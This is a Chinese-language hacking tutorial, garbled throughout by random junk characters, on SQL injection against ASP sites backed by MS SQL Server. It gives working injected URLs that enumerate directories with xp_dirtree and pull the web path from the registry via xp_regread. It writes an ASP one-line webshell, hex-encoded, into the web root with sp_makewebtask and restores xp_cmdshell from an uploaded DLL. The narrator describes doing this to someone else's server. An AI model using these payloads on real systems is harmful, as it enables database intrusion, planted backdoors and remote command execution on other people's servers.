好,我们exec master..xp_dirtree'd:/test'
( b8 k- z7 ]- ]. S& L假设我们在test里有两个文件夹test1和test2在test1里又有test3
3 R* q# y: J* K. F2 Y1 f) s& |结果显示# ?( `8 o4 w9 C& Z! d
5 | p9 G6 e9 n* `
subdirectory depth0 f+ U% ^/ m% z! A; W/ P S
test1 1
" P+ w* u( O( B+ g s8 T" [test3 29 L8 ~# D& \- \! o
test2 1
6 B/ B& u) Q- n5 T& l5 X
5 G2 M5 z) X8 {哈哈发现没有那个depth就是目录的级数
1 x. b' l" a- O: E, }ok了,知道怎么办了吧; |2 c. l% c( V% ^' P6 H2 F: I3 f
/ p& @( \5 \) C2 J/ [& l6 C) ]. F
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
- \3 M' y( s H3 \) k7 ahttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
, ~2 U9 a7 N( J! phttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-+ o5 u; N$ _! V- x/ t& V
6 E* i" z* d( O ]% [& f! o& d8 x只要加上id=1,就是第一级目录 。# P% C0 O" j+ B' Z
7 f. Z8 C5 T+ B! i
7 r& w$ @1 s* f" S: x' |通过注册表读网站路径:
/ K* ~9 Z+ V/ t4 L% v2 H4 |3 J6 O4 Y) }" [" B7 x
1.;create table [dbo].[cyfd] ([gyfd][char](255));2 ]& x4 g+ D1 z; `% s6 O
& N. }4 U9 [: N6 u" T/ v
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
/ Q7 |% G7 ]; o+ F+ a5 mid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
p# @( E2 ~* q0 @% f: L
9 Z6 I v4 E. y6 u$ e" i6 X3.and 1=(select count(*) from 临时表 where 临时字段名>1)
- q' N f% j4 I( f' v! ~# qand 1=(select count(*) from cyfd where gyfd > 1) ' q+ a, R4 K3 t. j" e* e
这样IE报错,就把刚才插进去的Web路径的值报出来了
. D. E% C2 i+ y# \, I% }" f+ k( F' I
4.drop table cyfd;-- 删除临时表- m! p3 I: R* D6 s9 u; a0 W5 D* p
2 M2 x. U# ^2 M q: B9 k# R获得webshell方法:
/ z" F0 u2 O. d5 V1.create table cmd (a image)-- \**cmd是创建的临时表. O9 Y" `/ ]+ N' p0 ^' j
& a2 p; R4 f. k" h6 D2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话0 v# |0 ?& g9 D, w. H/ F8 \: \
& V+ d2 F* t5 W' ]# r' _
2 R6 z% n- L' W; ~8 }5 |; Q3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
( h% n' ~ {: @EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'( T, [) A5 C# [" S5 r
1 F& V+ ~ y: E2 @
4.drop table cmd;-- 删除cmd临时表
$ s' m# z9 H# ?/ }8 W6 Q. a7 c( I; K9 R7 w2 @, z* |
恢复xp_cmdshell方法之一:
: k: R; O3 \7 N# x我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:$ U" O, X# u4 L% ^: w6 u- A
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
& s$ k1 r, M9 G; o; e1 q恢复,支持绝对路径的恢复哦。:)
c4 f ~; n8 s5 a5 M |